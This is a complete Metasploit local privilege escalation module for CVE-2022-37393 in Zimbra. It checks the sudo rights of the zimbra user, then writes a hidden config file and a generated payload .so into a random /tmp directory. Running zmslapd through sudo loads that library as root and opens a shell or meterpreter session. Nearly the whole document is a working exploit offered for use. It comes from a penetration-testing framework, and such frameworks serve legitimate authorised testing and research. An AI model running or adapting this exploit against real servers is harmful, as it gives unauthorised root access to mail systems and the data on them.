Zimbra zmslapd Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::Linux::Compile  
include Msf::Post::Linux::Kernel  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Zimbra zmslapd arbitrary module load',  
'Description' => %q{  
This module exploits CVE-2022-37393, which is a vulnerability in  
Zimbra's sudo configuration that permits the zimbra user to execute  
the zmslapd binary as root with arbitrary parameters. As part of its  
intended functionality, zmslapd can load a user-defined configuration  
file, which includes plugins in the form of .so files, which also  
execute as root.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Darren Martyn', # discovery and poc  
'Ron Bowes', # Module  
],  
'DisclosureDate' => '2021-10-27',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Privileged' => true,  
'References' => [  
[ 'CVE', '2022-37393' ],  
[ 'URL', 'https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/' ],  
],  
'Targets' => [  
[ 'Auto', {} ],  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Reliability' => [ REPEATABLE_SESSION ],  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ IOC_IN_LOGS ]  
}  
)  
)  
register_options [  
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),  
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),  
]  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
# Because this isn't patched, I can't say with 100% certainty that this will  
# detect a future patch (it depends on how they patch it)  
def check  
# Sanity check  
if is_root?  
fail_with(Failure::None, 'Session already has root privileges')  
end  
  
unless file_exist?("#{datastore['ZIMBRA_BASE']}/libexec/zmslapd")  
print_error("zmslapd executable not detected: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")  
return CheckCode::Safe  
end  
  
unless command_exists?(datastore['SUDO_PATH'])  
print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")  
return CheckCode::Safe  
end  
  
# Run `sudo -n -l` to make sure we have access to the target command  
cmd = "#{datastore['SUDO_PATH']} -n -l"  
print_status "Executing: #{cmd}"  
output = cmd_exec(cmd).to_s  
  
if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')  
print_error('Current user could not execute sudo -l')  
return CheckCode::Safe  
end  
  
if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/libexec/zmslapd")  
print_error('Current user does not have access to run zmslapd')  
return CheckCode::Safe  
end  
  
CheckCode::Appears  
end  
  
def exploit  
base_dir = datastore['WritableDir'].to_s  
unless writable?(base_dir)  
fail_with(Failure::BadConfig, "#{base_dir} is not writable")  
end  
  
# Generate a random directory  
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
if file_exist?(exploit_dir)  
fail_with(Failure::BadConfig, 'Exploit dir already exists')  
end  
  
# Create the directory and get ready to remove it  
print_status("Creating exploit directory: #{exploit_dir}")  
mkdir(exploit_dir)  
register_dir_for_cleanup(exploit_dir)  
  
# Generate some filenames  
library_name = ".#{rand_text_alphanumeric(5..10)}.so"  
library_path = "#{exploit_dir}/#{library_name}"  
config_name = ".#{rand_text_alphanumeric(5..10)}"  
config_path = "#{exploit_dir}/#{config_name}"  
  
# Create the .conf file  
config = "modulepath #{exploit_dir}\nmoduleload #{library_name}\n"  
write_file(config_path, config)  
  
write_file(library_path, generate_payload_dll)  
  
cmd = "sudo #{datastore['ZIMBRA_BASE']}/libexec/zmslapd -u root -g root -f #{config_path}"  
print_status "Attempting to trigger payload: #{cmd}"  
out = cmd_exec(cmd)  
  
unless session_created?  
print_error("Failed to create session! Cmd output = #{out}")  
end  
end  
end  
`